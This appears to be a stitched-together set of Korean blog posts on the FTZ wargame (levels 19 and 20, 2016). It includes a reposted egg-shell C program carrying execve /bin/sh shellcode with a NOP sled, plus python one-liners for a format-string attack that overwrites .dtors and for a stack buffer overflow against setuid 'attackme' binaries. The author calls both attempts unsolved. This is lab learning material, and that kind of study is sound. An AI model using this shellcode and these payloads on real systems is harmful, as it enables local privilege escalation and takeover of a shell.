몇번이나 고민했는데 멘탈 산산조각...


'Pwnable > FTZ' 카테고리의 다른 글

RTL(Return To Library) 란? (미해결,비공개)  (0) 2016.07.26
Egg Shell 소스코드  (0) 2016.07.21
FTZ Level20 풀이(미해결)  (0) 2016.07.17
FTZ Level19 풀이(미해결)  (0) 2016.07.17
FTZ Level18 풀이  (0) 2016.07.17

소스코드는 퍼온 것이며, 차이가 있을수 있음!


#include <stdlib.h>

#define DEFAULT_OFFSET                      0

#define DEFAULT_BUFFER_SIZE           512

#define DEFAULT_EGG_SIZE               2048

#define NOP                                      0x90

  

char shellcode[] =


  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_esp(void) {

   __asm__("movl %esp,%eax");

}


int main(int argc, char *argv[]) {

  char *buff, *ptr, *egg;

  long *addr_ptr, addr;

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

  int i, eggsize=DEFAULT_EGG_SIZE;


  if (argc > 1) bsize   = atoi(argv[1]);

  if (argc > 2) offset  = atoi(argv[2]);

  if (argc > 3) eggsize = atoi(argv[3]);



  if (!(buff = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }

  if (!(egg = malloc(eggsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }


  addr = get_esp() - offset;

  printf("Using address: 0x%x\n", addr);


  ptr = buff;

  addr_ptr = (long *) ptr;

  for (i = 0; i < bsize; i+=4)

  {

          if(i == 1040)

          {

                  *(addr_ptr++) = 0x1234567;

          }

          else

                  *(addr_ptr++) = addr;

  }

  ptr = egg;

  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

    *(ptr++) = NOP;


  for (i = 0; i < strlen(shellcode); i++)

    *(ptr++) = shellcode[i];


  buff[bsize - 1] = '\0';

  egg[eggsize - 1] = '\0';


  memcpy(egg,"EGG=",4);

  putenv(egg);

  memcpy(buff,"RET=",4);

  putenv(buff);

  system("/bin/bash");

}

'Pwnable > FTZ' 카테고리의 다른 글

RTL(Return To Library) 란? (미해결,비공개)  (0) 2016.07.26
Segmentation fault에 빡침  (0) 2016.07.21
FTZ Level20 풀이(미해결)  (0) 2016.07.17
FTZ Level19 풀이(미해결)  (0) 2016.07.17
FTZ Level18 풀이  (0) 2016.07.17


이번에는 권한도 setreuid()도 있다. 하지만 fgets가 경계검사를 하기때문에 함수의 리턴주소를 침범하지 못하게막아놨다.

다만 printf를 보게되면 포맷스트링 취약점이 있다는 것을 확인 할 수가 있다.


또한 gdb 디버깅이 되지는 않지만 대략적인 메모리 구조를 생각하면

bleh[80] : 80

dummy : ?

SFP : 4

RET : 4

바이트씩 할당이 되어있다는걸 알 수 있다..

적어도 그럼 80바이트이상을 채워서 RET값을 덮어야하는데 힌트로 주어진 코드에서는 불가능하게 막아놓았다.

그럼 다른방법을 써야하는데


우선 실행하고 아래와 같이 입력해보자. 포맷스트링 버그를 활용해서.


무언가 특이점이 보이지 않는가?

level11과 비슷하게 네 번째에 입력 문자열이 표시되는 것이 보인다.

그럼 이번에는 덮어써야할 .dtors의 주소를 보면



메모리로 올라오는 심볼이 보이지 않는다. 심볼 분석이 되지 않게 컴파일을 해놓았기 때문이다.


objdump를 이용하여 메모리에 올라온 심볼을 확인해 보자.



덮어써야할 주소가 0x08049598인걸로 확인되었다. 


이제 한번 공격해보자

공격형태는 (printf "낮은주소낮은주소높은주소높은주소")%8x%8x%8x%낮은쉘코드주소c%n%높은쉘코드주소c%n


(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%63552c%n%51095c%n"'; cat) | /home/level20/attackme


-> 최종적으로 입력한 코드... 트러블슈팅중... OTL..

'Pwnable > FTZ' 카테고리의 다른 글

Segmentation fault에 빡침  (0) 2016.07.21
Egg Shell 소스코드  (0) 2016.07.21
FTZ Level19 풀이(미해결)  (0) 2016.07.17
FTZ Level18 풀이  (0) 2016.07.17
FTZ Level17 풀이(해결)  (0) 2016.07.17


소스코드가 매우 짧다. 그런데 특이한 점이라면 쉘을 넘겨주는 코드부분이 없다는것이다.


그러면 그 부분을 쉘코드로 생성을 하고 쉘코드와 함꼐 공격을 하면 될것이다.


우선 메모리 크기를 위해 디버깅을 해보면



메모리크기가 0x28이고 십진수로는 40바이트이다.

또 <main+33>에 BP걸고 디버깅을 해보면 정확한 메모리 구조를 짐작할 수 있다.

buf[20] : 20

dummy : 20

SFP : 4

RET : 4

만큼 할당이 되었고, 여기서 단순하게 bash 쉘을 불러오는 함수를 쓰면 성공해도 레벨 19권한으로 밖에 실행이 안될 것이다


앞에서 말했다시피 setreuid()함수가 없어서 egg shell을 사용해서 setreuid(3100,3100) 쉘코드도 추가해야한다


그럼 여기서는 egg shell 코드 사용하겠다.

(코드는 알아서)


코딩하고 실행해보니 esp와 쉘이 따진것을 볼 수 있다.


(python -c 'print "A"*44+"\x38\xe1\xff\xbf"';cat) | ../attackme



아 정말...(미해결.. OTL)

'Pwnable > FTZ' 카테고리의 다른 글

Egg Shell 소스코드  (0) 2016.07.21
FTZ Level20 풀이(미해결)  (0) 2016.07.17
FTZ Level18 풀이  (0) 2016.07.17
FTZ Level17 풀이(해결)  (0) 2016.07.17
FTZ Level16 풀이  (0) 2016.07.17

+ Recent posts